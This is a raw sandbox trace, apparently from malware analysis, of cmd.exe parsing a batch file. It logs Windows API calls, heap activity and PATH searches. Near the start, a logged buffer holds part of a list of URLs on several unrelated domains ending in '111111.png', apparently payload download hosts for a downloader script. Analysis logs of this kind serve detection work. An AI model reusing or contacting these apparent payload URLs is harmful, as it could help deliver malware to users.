cbMultiByte=91, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 91 [0231.636] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.636] GetFileType (hFile=0x9c) returned 0x1 [0231.636] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.636] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf96 [0231.636] GetProcessHeap () returned 0x20b0f920000 [0231.636] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0231.636] GetProcessHeap () returned 0x20b0f920000 [0231.637] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0231.637] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0231.637] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0231.637] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0231.637] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0231.637] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0231.637] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0231.637] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0231.637] GetProcessHeap () returned 0x20b0f920000 [0231.637] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0231.637] GetProcessHeap () returned 0x20b0f920000 [0231.637] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f956f50 [0231.637] GetProcessHeap () returned 0x20b0f920000 [0231.637] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f926ea0 [0231.637] _tell (_FileHandle=3) returned 3990 [0231.637] _close (_FileHandle=3) returned 0 [0231.637] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0231.637] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.637] GetFileType (hFile=0x50) returned 0x2 [0231.637] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.637] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0231.638] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.638] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0231.641] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0231.641] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0231.642] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0231.642] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.642] GetFileType (hFile=0x50) returned 0x2 [0231.642] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.642] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0231.645] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.645] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0231.645] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.645] GetFileType (hFile=0x50) returned 0x2 [0231.645] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.645] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0231.646] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.646] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f956f60*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f956f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0231.646] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 80 [0231.646] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.646] GetFileType (hFile=0x50) returned 0x2 [0231.646] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.646] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0231.647] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.647] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x50, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x50) returned 1 [0231.647] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0231.647] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.647] GetFileType (hFile=0x50) returned 0x2 [0231.647] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.648] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0231.648] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.648] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0231.652] malloc (_Size=0xffce) returned 0x20b0fa60940 [0231.652] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0231.653] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0231.653] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0231.653] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0231.653] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0231.653] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0231.653] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0231.653] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0231.653] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0231.653] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0231.653] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0231.653] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0231.654] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0231.654] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0231.654] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0231.654] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0231.654] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0231.654] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0231.654] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0231.654] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0231.654] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0231.654] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0231.654] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0231.654] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0231.654] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0231.654] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0231.654] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0231.654] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0231.654] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0231.654] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0231.654] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0231.654] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0231.654] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0231.654] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0231.654] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0231.654] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0231.654] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0231.655] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0231.655] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0231.655] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0231.655] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0231.655] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0231.655] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0231.655] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0231.655] malloc (_Size=0xffce) returned 0x20b0fa70920 [0231.655] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0231.655] GetProcessHeap () returned 0x20b0f920000 [0231.655] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0231.658] SetErrorMode (uMode=0x0) returned 0x0 [0231.658] SetErrorMode (uMode=0x1) returned 0x0 [0231.658] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0231.658] SetErrorMode (uMode=0x0) returned 0x1 [0231.658] GetProcessHeap () returned 0x20b0f920000 [0231.658] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0231.658] GetProcessHeap () returned 0x20b0f920000 [0231.659] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0231.659] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0231.659] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0231.659] GetProcessHeap () returned 0x20b0f920000 [0231.659] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f947a50 [0231.659] GetProcessHeap () returned 0x20b0f920000 [0231.659] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0231.659] GetProcessHeap () returned 0x20b0f920000 [0231.659] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0231.659] GetProcessHeap () returned 0x20b0f920000 [0231.659] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0231.659] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0231.659] GetProcessHeap () returned 0x20b0f920000 [0231.659] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947280 [0231.659] GetProcessHeap () returned 0x20b0f920000 [0231.659] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947280, Size=0x7e) returned 0x20b0f956910 [0231.659] GetProcessHeap () returned 0x20b0f920000 [0231.659] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956910) returned 0x7e [0231.659] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.659] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d0f0 [0231.660] FindClose (in: hFindFile=0x20b0f92d0f0 | out: hFindFile=0x20b0f92d0f0) returned 1 [0231.660] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.660] GetLastError () returned 0x2 [0231.660] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.660] GetLastError () returned 0x2 [0231.660] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.660] GetLastError () returned 0x2 [0231.660] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.661] GetLastError () returned 0x2 [0231.661] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.661] GetLastError () returned 0x2 [0231.661] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.661] GetLastError () returned 0x2 [0231.661] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.661] GetLastError () returned 0x2 [0231.662] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.662] GetLastError () returned 0x2 [0231.662] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.662] GetLastError () returned 0x2 [0231.662] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.662] GetLastError () returned 0x2 [0231.662] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.662] GetLastError () returned 0x2 [0231.662] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.663] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.663] GetLastError () returned 0x2 [0231.663] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.663] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92ce50 [0231.663] FindClose (in: hFindFile=0x20b0f92ce50 | out: hFindFile=0x20b0f92ce50) returned 1 [0231.663] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.663] GetLastError () returned 0x2 [0231.663] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.664] GetLastError () returned 0x2 [0231.664] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.664] GetLastError () returned 0x2 [0231.664] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.664] GetLastError () returned 0x2 [0231.664] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.664] GetLastError () returned 0x2 [0231.664] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.665] GetLastError () returned 0x2 [0231.665] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.665] GetLastError () returned 0x2 [0231.665] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.665] GetLastError () returned 0x2 [0231.665] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.665] GetLastError () returned 0x2 [0231.666] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.666] GetLastError () returned 0x2 [0231.666] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.666] GetLastError () returned 0x2 [0231.666] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.666] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.666] GetLastError () returned 0x2 [0231.666] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.666] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.667] GetLastError () returned 0x2 [0231.667] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.667] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.667] GetLastError () returned 0x2 [0231.667] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.667] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.667] GetLastError () returned 0x2 [0231.667] ??_V@YAXPEAX@Z () returned 0x1 [0231.667] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0231.670] malloc (_Size=0xffce) returned 0x20b0fa70920 [0231.670] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0231.670] malloc (_Size=0xffce) returned 0x20b0fa80900 [0231.670] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0231.671] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0231.671] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0231.671] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0231.671] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0231.671] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0231.671] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0231.671] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0231.671] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0231.671] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0231.671] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0231.671] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0231.671] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0231.671] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0231.671] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0231.671] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0231.671] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0231.671] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0231.671] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0231.671] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0231.671] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0231.671] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0231.671] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0231.671] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0231.671] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0231.671] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0231.671] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0231.671] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0231.671] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0231.671] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0231.671] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0231.672] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0231.672] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0231.672] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0231.672] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0231.672] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0231.672] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0231.672] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0231.672] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0231.672] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0231.672] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0231.672] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0231.672] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0231.672] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0231.672] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0231.672] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0231.672] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0231.672] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0231.672] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0231.672] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0231.672] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0231.672] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0231.672] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0231.672] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0231.672] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0231.672] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0231.672] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0231.672] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0231.672] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0231.672] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0231.672] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0231.672] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0231.672] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0231.672] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0231.673] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0231.673] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0231.673] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0231.673] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0231.673] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0231.673] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0231.673] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0231.673] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0231.673] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0231.673] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0231.673] _wcsicmp (_String1="Windows", _String2="START") returned 4 